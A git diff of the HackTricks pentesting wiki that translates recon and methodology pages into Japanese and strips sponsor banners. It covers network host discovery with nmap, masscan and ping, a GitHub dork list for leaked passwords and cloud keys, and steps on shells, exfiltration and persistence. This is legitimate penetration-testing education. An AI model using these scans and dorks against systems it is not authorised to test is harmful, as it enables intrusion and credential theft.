win. +**有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。 -## Public Code Vulnerabilities +## パブリックコードの脆弱性 -If you found that the company has **open-source code** you can **analyse** it and search for **vulnerabilities** on it. +会社が**オープンソースコード**を持っていることがわかった場合、それを**分析**し、**脆弱性**を探すことができます。 -**Depending on the language** there are different **tools** you can use: +**言語によって**異なる**ツール**を使用できます: {{#ref}} ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -There are also free services that allow you to **scan public repositories**, such as: +また、**公開リポジトリをスキャン**するための無料サービスもあります: - [**Snyk**](https://app.snyk.io/) -## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/) +## [**ウェブペンテスティング手法**](../../network-services-pentesting/pentesting-web/) -The **majority of the vulnerabilities** found by bug hunters resides inside **web applications**, so at this point I would like to talk about a **web application testing methodology**, and you can [**find this information here**](../../network-services-pentesting/pentesting-web/). +**バグハンター**によって見つけられる**脆弱性の大部分**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。 -I also want to do a special mention to the section [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), as, if you shouldn't expect them to find you very sensitive vulnerabilities, they come handy to implement them on **workflows to have some initial web information.** +また、[**オープンソースツールのウェブ自動スキャナー**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます。** -## Recapitulation +## 再確認 -> Congratulations! At this point you have already perform **all the basic enumeration**. Yes, it's basic because a lot more enumeration can be done (will see more tricks later). +> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なもので、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。 -So you have already: +したがって、すでに次のことを行っています: -1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) -3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains (any subdomain takeover?) -5. Found all the **IPs** (from and **not from CDNs**) inside the scope. -6. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -7. Found all the **potential public cloud assets** belonging to the company. -8. **Emails**, **credentials leaks**, and **secret leaks** that could give you a **big win very easily**. -9. **Pentesting all the webs you found** +1. スコープ内の**すべての会社**を見つけた +2. 会社に属する**すべての資産**を見つけた(スコープ内で脆弱性スキャンを実行) +3. 会社に属する**すべてのドメイン**を見つけた +4. ドメインの**すべてのサブドメイン**を見つけた(サブドメインの乗っ取りはありますか?) +5. スコープ内の**すべてのIP**(CDNからのものとそうでないもの)を見つけた。 +6. **すべてのウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものはありますか?) +7. 会社に属する**すべての潜在的なパブリッククラウド資産**を見つけた。 +8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**が、**非常に簡単に大きな勝利をもたらす可能性がある**。 +9. **見つけたすべてのウェブをペンテストする** -## **Full Recon Automatic Tools** +## **フルリコン自動ツール** -There are several tools out there that will perform part of the proposed actions against a given scope. +特定のスコープに対して提案されたアクションの一部を実行するツールがいくつかあります。 - [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) - [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) - [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - A little old and not updated +- [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - 少し古く、更新されていません -## **References** +## **参考文献** -- All free courses of [**@Jhaddix**](https://twitter.com/Jhaddix) like [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、例えば[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 53e1f35e6..f52624481 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -2,18 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +資産のリストを構築したので、OSINTの低ハンギングフルーツを探す時が来ました。 -{% embed url="https://go.intigriti.com/hacktricks" %} - -Now that we have built the list of assets of our scope it's time to search for some OSINT low-hanging fruits. - -### Platforms that already searched for leaks +### すでに漏洩を検索したプラットフォーム - [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) -### Api keys leaks in github +### GithubにおけるAPIキーの漏洩 - [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) - [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) @@ -28,7 +23,6 @@ Now that we have built the list of assets of our scope it's time to search for s - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ### **Dorks** - ```bash ".mlab.com password" "access_key" @@ -310,5 +304,4 @@ GCP SECRET AWS SECRET "private" extension:pgp ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 55186e1f3..9be177770 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,18 +1,18 @@ -# Wide Source Code Search +# ワイドソースコード検索 {{#include ../../banners/hacktricks-training.md}} -The goal of this page is to enumerate **platforms that allow to search for code** (literal or regex) in across thousands/millions of repos in one or more platforms. +このページの目的は、**コードを検索できるプラットフォーム**(リテラルまたは正規表現)を列挙することです。これは、1つまたは複数のプラットフォームで数千または数百万のリポジトリにわたります。 -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +これは、**漏洩情報**や**脆弱性**パターンを検索する際に役立ちます。 -- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -- [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - - Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes. -- [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +- [**SourceGraph**](https://sourcegraph.com/search): 数百万のリポジトリを検索します。無料版とエンタープライズ版(15日間無料)があります。正規表現をサポートしています。 +- [**Github Search**](https://github.com/search): Github全体を検索します。正規表現をサポートしています。 +- もしかしたら、[**Github Code Search**](https://cs.github.com/)も確認するのが有用かもしれません。 +- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Gitlabプロジェクト全体を検索します。正規表現をサポートしています。 +- [**SearchCode**](https://searchcode.com/): 数百万のプロジェクトのコードを検索します。 > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> リポジトリ内で漏洩を探していて、`git log -p`のようなコマンドを実行する際は、**秘密を含む他のコミットがある他のブランチ**が存在するかもしれないことを忘れないでください! {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index ea6b7f6a7..b08891eeb 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,146 +1,136 @@ -# Pentesting Methodology +# ペンテスティング手法 {{#include ../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - -## Pentesting Methodology +## ペンテスティング手法
-_Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によってデザインされました。_ -### 0- Physical Attacks +### 0- 物理攻撃 -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) and others about [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md). +攻撃したいマシンに**物理的アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。 -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [ネットワーク内のホストを発見する](pentesting-network/#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). +**実施している**テストが**内部テストか外部テストかによって**、**会社のネットワーク内のホストを見つける**ことに興味があるか、**インターネット上の会社の資産を見つける**ことに興味があるかもしれません。 > [!NOTE] -> Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. +> 外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再スタートする必要があります。 -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** +### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)** -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). +**このセクションは内部テストを実施している場合にのみ適用されます。**\ +ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**パッシブ/アクティブ(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**ペンテスティングネットワーク**](pentesting-network/#sniffing)を読むことができます。 -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) +### 3- [ポートスキャン - サービス発見](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). +**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。 -### **4-** [Searching service version exploits](../generic-hacking/search-exploits.md) +### **4-** [サービスバージョンのエクスプロイトを検索](../generic-hacking/search-exploits.md) -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... +どのサービスが実行されているか、そしておそらくそのバージョンを知ったら、**既知の脆弱性を検索する**必要があります。運が良ければ、シェルを取得するためのエクスプロイトがあるかもしれません... -### **5-** Pentesting Services +### **5-** ペンテスティングサービス -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** +実行中のサービスに特別なエクスプロイトがない場合は、**各サービスの一般的な誤設定を探す**べきです。 -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). +**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**PENTESTING**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。 -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](../generic-hacking/search-exploits.md) can be found here. +**特に** [**ペンテスティングWeb**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\ +また、[**ソフトウェアの既知の脆弱性を見つける方法**](../generic-hacking/search-exploits.md)に関する小さなガイドもここにあります。 -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). +**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索してください**。**追加してほしい場合は教えてください。** Googleで**何も見つからない場合は、自分で**ブラインドペンテスティング**を行い、**サービスに接続し、ファジングして応答を読む**ことから始めることができます(あれば)。 -#### 5.1 Automatic Tools +#### 5.1 自動ツール -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** +**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテスティングサービスに関するノートに基づいています。** -#### **5.2 Brute-Forcing services** +#### **5.2 ブルートフォースサービス** -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](../generic-hacking/brute-force.md)**.** +いくつかのシナリオでは、**ブルートフォース**が**サービスを妥協する**のに役立つかもしれません。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](../generic-hacking/brute-force.md)**。** -### 6- [Phishing](phishing-methodology/) +### 6- [フィッシング](phishing-methodology/) -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): +この時点で興味深い脆弱性が見つからない場合は、**ネットワークに入るためにフィッシングを試みる必要があるかもしれません。**私のフィッシング手法を[こちら](phishing-methodology/)で読むことができます。 -### **7-** [**Getting Shell**](../generic-hacking/reverse-shells/) +### **7-** [**シェルを取得する**](../generic-hacking/reverse-shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](../generic-hacking/reverse-shells/). +何らかの方法で、**被害者でコードを実行する方法を見つけるべきです。**その後、[**リバースシェルを取得するために使用できるシステム内の可能なツールのリストが非常に役立ちます**](../generic-hacking/reverse-shells/)。 -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\ +特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**:[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\ -### 8- Inside +### 8- 内部 -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: +シェルに問題がある場合は、ペンテスターにとって最も便利なコマンドの小さな**コンパイル**をここで見つけることができます: - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) - [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md) +### **9 -** [**エクスフィルトレーション**](../generic-hacking/exfiltration.md) -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](../generic-hacking/exfiltration.md)**.** +おそらく、**被害者からデータを抽出する**必要があるか、**何かを導入する**必要があるでしょう(特権昇格スクリプトなど)。**ここに、これらの目的で使用できる一般的なツールに関する** [**投稿があります**](../generic-hacking/exfiltration.md)**。** -### **10- Privilege Escalation** +### **10- 特権昇格** -#### **10.1- Local Privesc** +#### **10.1- ローカル特権昇格** -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: +ボックス内で**root/Administrator**でない場合は、**特権を昇格させる方法を見つけるべきです。**\ +ここに、**[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**でローカルに特権を昇格させるためのガイドがあります。**\ +また、**Windowsがどのように機能するかに関するこのページも確認してください**: -- [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- How does [**NTLM works**](../windows-hardening/ntlm/) -- How to [**steal credentials**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows -- Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +- [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) +- [**NTLMの動作**](../windows-hardening/ntlm/) +- Windowsで[**資格情報を盗む方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) +- [_**Active Directory**_に関するいくつかのトリック](../windows-hardening/active-directory-methodology/) -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツールも確認してください**:[**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +#### **10.2- ドメイン特権昇格** -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. +ここに、[**Active Directoryで特権を列挙、昇格、持続させるための最も一般的なアクションを説明する方法論があります**](../windows-hardening/active-directory-methodology/)。これはセクションのサブセクションに過ぎませんが、このプロセスはペンテスティング/レッドチームの任務において**非常にデリケート**である可能性があります。 ### 11 - POST -#### **11**.1 - Looting +#### **11**.1 - ルーティング -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). +ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で**他のマシンにアクセス**できるか確認してください。\ +ここで、Windowsで[**パスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)を見つけてください。 -#### 11.2 - Persistence +#### 11.2 - 持続性 -**Use 2 or 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**システムを再度攻撃する必要がないように、2または3種類の異なる持続メカニズムを使用してください。**\ +**ここに、Active Directoryでの** [**持続性のトリック**](../windows-hardening/active-directory-methodology/#persistence)**があります。** -TODO: Complete persistence Post in Windows & Linux +TODO: WindowsとLinuxの持続性ポストを完成させる -### 12 - Pivoting +### 12 - ピボッティング -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](../generic-hacking/tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. +**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(被害者が接続されている新しいネットワーク内でペンテスティング手法を再スタート)。\ +この場合、トンネリングが必要になるかもしれません。[**トンネリングに関する投稿を見つけることができます**](../generic-hacking/tunneling-and-port-forwarding.md)。\ +また、[Active Directoryペンテスティング手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\ +[**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。 ### MORE -#### [Android Applications](../mobile-pentesting/android-app-pentesting/) +#### [Androidアプリケーション](../mobile-pentesting/android-app-pentesting/) -#### **Exploiting** +#### **エクスプロイト** -- [**Basic Linux Exploiting**](broken-reference/) -- [**Basic Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Basic exploiting tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**基本的なLinuxエクスプロイト**](broken-reference/) +- [**基本的なWindowsエクスプロイト**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +- [**基本的なエクスプロイトツール**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) -#### [**Basic Python**](python/) +#### [**基本的なPython**](python/) -#### **Crypto tricks** +#### **暗号トリック** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) -- [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) +- [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md) -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 1f4bb741f..6029dd12b 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -2,83 +2,69 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} ## Discovering hosts from the outside -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +これは、**インターネット**から**応答しているIP**を見つける方法についての**簡単なセクション**です。\ +この状況では、いくつかの**IPの範囲**(場合によっては複数の**範囲**)があり、**どのIPが応答しているか**を見つける必要があります。 ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +これは、ホストが稼働しているかどうかを発見するための**最も簡単**で**最速**の方法です。\ +いくつかの**ICMP**パケットを送信し、**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信し、応答を期待することです。これを単純な`ping`を使用するか、**範囲**のために`fping`を使用して行うことができます。\ +また、**nmap**を使用して他のタイプのICMPパケットを送信することもできます(これにより、一般的なICMPエコーリクエスト-応答のフィルターを回避できます)。 ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` +### TCPポート発見 -### TCP Port Discovery - -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +あらゆる種類のICMPパケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つけること**だけです。各ホストには**65535ポート**があるため、もし「大きな」スコープがある場合、各ホストの**各ポート**がオープンかどうかをテストすることは**できません**。それにはあまりにも時間がかかります。\ +そのため、必要なのは**高速ポートスキャナー**([masscan](https://github.com/robertdavidgraham/masscan))と、**最も使用されるポートのリスト**です: ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` +`nmap`を使ってこのステップを実行することもできますが、遅く、`nmap`はホストの識別に問題があります。 -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. - -### HTTP Port Discovery - -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: +### HTTPポート発見 +これは、**HTTP** **サービス**の発見に焦点を当てたいときに便利なTCPポート発見です: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` +### UDPポート発見 -### UDP Port Discovery - -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +いくつかの**UDPポートが開いている**かどうかを確認して、**ホストにもっと注意を払う**べきかを判断することもできます。UDPサービスは通常、通常の空のUDPプローブパケットに**データ**で**応答しない**ため、ポートがフィルタリングされているのか開いているのかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、どのサービスが実行されているかわからないため、ポート番号に基づいて最も可能性の高いものを試すべきです: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` +提案されたnmapのコマンドは、**/24**範囲内のすべてのホストで**上位1000のUDPポート**をテストしますが、これだけでも**>20分**かかります。**最速の結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、これらの**UDPプローブ**が**予想されるポート**に送信されます(/24範囲の場合、これにはわずか1分かかります):_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ - -### SCTP Port Discovery - +### SCTPポートディスカバリー ```bash #Probably useless, but it's pretty fast, why not try it? nmap -T4 -sY -n --open -Pn ``` +## Wifiのペンテスト -## Pentesting Wifi - -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +ここでは、執筆時点でのよく知られたWifi攻撃のガイドを見つけることができます: {{#ref}} ../pentesting-wifi/ {{#endref}} -## Discovering hosts from the inside +## 内部からホストを発見する -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +ネットワーク内にいる場合、最初に行いたいことの一つは**他のホストを発見する**ことです。**どれだけのノイズ**を出すことができるか/出したいかによって、異なるアクションを実行できます: -### Passive - -You can use these tools to passively discover hosts inside a connected network: +### パッシブ +接続されたネットワーク内でホストをパッシブに発見するために、これらのツールを使用できます: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -87,12 +73,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### アクティブ -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +[_**外部からホストを発見する**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP ポート発見_) でコメントされた技術は、ここでも**適用可能**です。\ +しかし、他のホストと**同じネットワーク**にいるため、**より多くのこと**ができます: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -112,39 +96,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` - ### Active ICMP -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: +外部からホストを発見する際にコメントされた技術([_**ICMP**_](./#icmp))は、ここでも**適用可能**です。\ +しかし、他のホストと**同じネットワーク**にいるため、**より多くのこと**ができます: -- If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -- Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -- Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- **サブネットブロードキャストアドレス**に**ping**を送信すると、pingは**各ホスト**に到達し、彼らは**あなたに応答**する可能性があります: `ping -b 10.10.5.255` +- **ネットワークブロードキャストアドレス**にpingを送信すると、**他のサブネット**内のホストを見つけることもできます: 